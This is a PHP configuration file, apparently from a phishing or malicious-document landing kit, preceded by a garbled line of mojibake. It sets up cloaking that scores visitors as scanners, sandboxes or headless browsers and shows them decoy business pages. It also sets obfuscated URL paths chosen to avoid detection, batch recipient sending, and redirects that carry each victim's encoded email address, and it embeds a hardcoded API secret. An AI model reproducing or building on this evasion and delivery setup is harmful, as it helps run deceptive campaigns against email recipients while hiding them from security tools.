²ιΏ΄/±ΰΌ ΄ϊΒλ
ΔΪΘέ
<?php /** * βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ * LANDING SYSTEM - CONFIGURATION * βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ */ // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // ERROR REPORTING (disable in production) // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ error_reporting(E_ALL); ini_set('display_errors', 0); // Never show errors to visitors ini_set('log_errors', 1); ini_set('error_log', __DIR__ . '/logs/error.log'); // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // PATHS // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ define('ROOT_PATH', __DIR__); define('CORE_PATH', ROOT_PATH . '/core'); define('DATA_PATH', ROOT_PATH . '/data'); define('LOGS_PATH', ROOT_PATH . '/logs'); define('TEMPLATES_PATH', ROOT_PATH . '/templates'); // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // AUTO-CREATE DIRECTORIES (Audit Fix #2, #3) // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ foreach ([DATA_PATH, LOGS_PATH] as $dir) { if (!is_dir($dir)) { @mkdir($dir, 0755, true); } } // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // DATABASE // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ define('DB_PATH', DATA_PATH . '/landing.db'); // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // SITE SETTINGS // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ define('SITE_NAME', 'Eclipse Acupuncture'); define('SITE_DOMAIN', 'eclipse-acupuncture.co.uk'); define('SITE_DESCRIPTION', 'Professional Holistic Health Services'); // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // DETECTION SETTINGS // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ define('SCANNER_CONFIDENCE_THRESHOLD', 60); // Score above this = scanner define('CHALLENGE_CONFIDENCE_THRESHOLD', 40); // Score 40-60 = challenge define('SANDBOX_REJECTION_THRESHOLD', 70); // Score for sandbox/automation rejection define('ENABLE_ASN_LOOKUP', false); // Requires external API define('ENABLE_JS_CHALLENGE', true); // Enable JS verification // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // RESPONSE SETTINGS // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ define('DEFAULT_DECOY_TEMPLATE', 'business'); define('CHALLENGE_TIMEOUT_SECONDS', 5); define('TARPIT_DELAY_SECONDS', 30); // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // LOGGING // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ define('LOG_VISITS', true); define('LOG_SCANNERS', true); define('LOG_HEADERS', true); // Log all headers for scanner analysis // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // API SETTINGS (for sender app integration) // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ define('API_ENABLED', true); define('API_SECRET', 'DFmwzZe7NXzr6fxY0SAwFARCqFqYiJxV'); define('API_BATCH_MAX_SIZE', 500); // Max recipients per batch-create call // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // URL PATTERNS (Natural-looking paths to avoid detection) // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // NATURAL PATTERNS (recommended): // /documents/{obfuscated_id} - View landing page (primary) // /files/{obfuscated_id} - View landing page (alternate) // /view/{obfuscated_id} - View landing page (alternate) // /access/{obfuscated_id} - View landing page (alternate) // /shared/{obfuscated_id} - Download document // /download/{obfuscated_id} - Download document // /secure/{obfuscated_id} - Final redirect // /continue/{obfuscated_id} - Final redirect // // Obfuscated ID format: {4hex}{actual_id}{4HEX} // Example: "a1b2abc123A1B2" where "abc123" is the actual ID // // LEGACY PATTERNS (disabled by default): // /v/{id} - View landing page // /d/{id} - Download document // /r/{id} - Redirect // Enable legacy short URL patterns (NOT recommended - easier to detect) define('ENABLE_LEGACY_ROUTES', false); // URL path prefixes for each action type define('URL_PATH_VIEW', 'documents'); // Landing page path define('URL_PATH_DOWNLOAD', 'shared'); // Download path define('URL_PATH_REDIRECT', 'secure'); // Final redirect path // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // DECOY PAGE CONTENT // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Available decoy templates for scanner responses // Templates are randomly selected to avoid fingerprinting define('DECOY_TEMPLATES', ['business', 'tech', 'consulting']); $DECOY_CONTENT = [ 'business' => [ 'title' => 'Eclipse Acupuncture - Holistic Health Services', 'tagline' => 'Traditional Acupuncture & Wellness', 'description' => 'Professional acupuncture services for pain management, stress relief, and overall wellness.', 'phone' => '+44 20 7123 4567', 'email' => 'info@eclipse-acupuncture.co.uk', 'address' => '123 Wellness Street, London, UK', ], 'tech' => [ 'title' => 'CloudSync Solutions - Enterprise Cloud Services', 'tagline' => 'Cloud Infrastructure Built for Scale', 'description' => 'Enterprise cloud solutions for modern businesses. Secure, scalable, and reliable.', 'phone' => '+1 (415) 555-0123', 'email' => 'contact@cloudsync-solutions.com', 'address' => 'San Francisco, CA', ], 'consulting' => [ 'title' => 'Sterling Partners - Strategic Business Consulting', 'tagline' => 'Strategic Excellence. Transformative Results.', 'description' => 'Premier business consulting firm. Strategy, operations, and transformation services.', 'phone' => '+1 (212) 555-1234', 'email' => 'contact@sterlingpartners.com', 'address' => 'New York, NY', ], 'maintenance' => [ 'title' => 'Scheduled Maintenance', 'message' => 'We are currently updating our systems. Please check back soon.', ], 'notfound' => [ 'title' => 'Page Not Found', 'message' => 'The page you requested could not be found.', ], ]; // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // PLACEHOLDERS (for personalization) // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $PLACEHOLDER_DEFAULTS = [ '{{name}}' => 'Valued Customer', '{{firstname}}' => 'Customer', '{{lastname}}' => '', '{{email}}' => '', '{{company}}' => 'Your Company', '{{domain}}' => '', '{{date}}' => date('F j, Y'), '{{time}}' => date('g:i A'), ]; // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // PHASE 2: ADVANCED SETTINGS // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // FINAL REDIRECT URL TEMPLATE // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Supports placeholders: // ${email} - Raw email address // ${emailb64} - Base64 encoded email (URL-safe) // ${emailmd5} - MD5 hash of email // ${id} - Visitor/recipient ID // ${name} - Full name // ${firstname} - First name // ${lastname} - Last name // ${company} - Company name // ${domain} - Email domain // ${timestamp} - Unix timestamp // ${date} - Date (Y-m-d format) // // Examples: // 'https://facebook.com/${emailb64}' // 'https://login.example.com/verify?u=${emailb64}&t=${timestamp}' // 'https://secure.example.com/doc/${id}/${emailmd5}' // define('FINAL_REDIRECT_URL', 'https://facebook.com/${emailb64}'); // Use per-recipient redirect_url if set, otherwise use FINAL_REDIRECT_URL define('USE_RECIPIENT_REDIRECT', true); // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // ADVANCED DETECTION SETTINGS (Phase 2) // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ define('ENABLE_TIMING_DETECTION', true); // Detect too-fast requests define('ENABLE_RATE_TRACKING', true); // Track request frequency per IP define('ENABLE_IP_REPUTATION_CACHE', true); // Cache IP detection results define('IP_CACHE_TTL_SECONDS', 3600); // 1 hour cache // Timing thresholds (milliseconds) define('MIN_PAGE_LOAD_TIME_MS', 500); // Suspiciously fast if < 500ms define('MIN_HUMAN_INTERACTION_MS', 100); // Click within 100ms = bot // Rate limits per IP define('MAX_REQUESTS_PER_MINUTE', 30); // Per IP define('MAX_REQUESTS_PER_HOUR', 200); // Per IP // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // HEADLESS BROWSER DETECTION (Phase 2) // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ define('ENABLE_WEBDRIVER_CHECK', true); // Check for WebDriver define('ENABLE_CANVAS_CHECK', true); // Check canvas fingerprint define('ENABLE_WEBGL_CHECK', true); // Check WebGL renderer // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // PHASE 3: CONTENT DELIVERY SETTINGS // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // DOCUMENT GENERATION SETTINGS // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ define('ENABLE_PDF_GENERATION', true); // Enable PDF document generation define('DEFAULT_DOCUMENT_FORMAT', 'pdf'); // Default download format define('ENABLE_HTML_DOWNLOAD', true); // Allow HTML download format // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // DOCUMENT CACHE SETTINGS // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ define('ENABLE_DOCUMENT_CACHE', true); // Cache generated documents define('DOCUMENT_CACHE_TTL', 3600); // Cache duration in seconds (1 hour) define('CACHE_PATH', DATA_PATH . '/cache'); // Cache storage path // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // STATIC FILE SETTINGS // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ define('STATIC_FILES_PATH', DATA_PATH . '/files'); // Static file storage define('MAX_UPLOAD_SIZE_MB', 10); // Max upload size in MB define('ALLOWED_FILE_TYPES', 'pdf,doc,docx,xls,xlsx,txt,html'); // Auto-create document storage directories foreach ([CACHE_PATH, STATIC_FILES_PATH] as $dir) { if (!is_dir($dir)) { @mkdir($dir, 0755, true); } }